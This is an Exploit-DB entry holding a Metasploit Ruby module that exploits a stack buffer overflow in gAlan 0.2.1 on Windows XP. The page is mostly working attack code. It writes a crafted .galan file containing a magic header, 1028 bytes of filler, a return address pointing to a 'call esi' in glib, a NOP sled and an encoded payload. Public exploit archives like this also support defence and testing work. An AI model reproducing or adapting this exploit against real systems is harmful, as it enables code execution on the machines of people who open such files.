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# gAlan 0.2.1 - Local Buffer Overflow (Metasploit) (2)

**EDB-ID:**

16664

**CVE:**

**EDB Verified:** ✓

**Author:**

[METASPLOIT](#)

**Type:**

[LOCAL](#)

**Exploit:** /



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```
##
# $Id: galan_fileformat_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
      'Description' => %q{
        This module exploits a stack buffer overflow in gAlan 0.2.1
```

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```
      'DisablePayloadHandler' => 'true',
    },
    'Payload' =>
      {
        'Space' => 1000,
        'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
        'StackAdjustment' => -3500,
      },
    'Platform' => 'win',
    'Targets' =>
      [
        [ 'Windows XP Universal', { 'Ret' => 0x100175D0 } ],
# 0x100175D0 call esi @ glib-1_3
      ],
    'Privileged' => false,
    'DisclosureDate' => 'Dec 07 2009',
    'DefaultTarget' => 0))

  register_options(
    [
      OptString.new('FILENAME', [ false, 'The file name.',
'msf.galan' ]),
    ], self.class)
end
```

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```
def exploit
```

```
  exploit = "Mjik"  
  exploit << rand_text_alpha_upper(1028)  
  exploit << [target.ret].pack('V')  
  exploit << "\x90" * 45  
  exploit << payload.encoded
```

```
  print_status("Creating '#{datastore['FILENAME']}' file ...")  
  file_create(exploit)
```

```
end
```

```
end
```

Tags: [Metasploit Framework](#)  
([MSF](#))

Advisory/Source: [Link](#)



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